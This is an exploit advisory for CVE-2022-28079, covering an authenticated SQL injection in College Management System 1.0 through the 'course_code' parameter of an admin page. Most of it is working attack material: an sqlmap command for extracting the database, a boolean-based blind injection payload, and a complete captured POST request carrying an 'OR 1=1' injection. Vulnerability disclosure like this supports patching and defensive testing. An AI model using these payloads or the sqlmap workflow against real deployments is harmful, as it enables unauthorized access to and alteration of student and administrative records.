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College Management System - 'course_code' SQL Injection (Authenticated)

  1. Description:

College Management System 1.0 allows SQL Injection via parameter 'course_code' in /College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

  1. Proof of Concept:

In Burpsuite intercept the request from the affected page with 'course_code' parameter and save it like poc.req. Then run SQLmap to extract the data from the database:

sqlmap -r poc.req --dbms=mysql

  1. Example payload:

boolean-based blind Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ

  1. Burpsuite request:

POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns

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CVE-2022-28079

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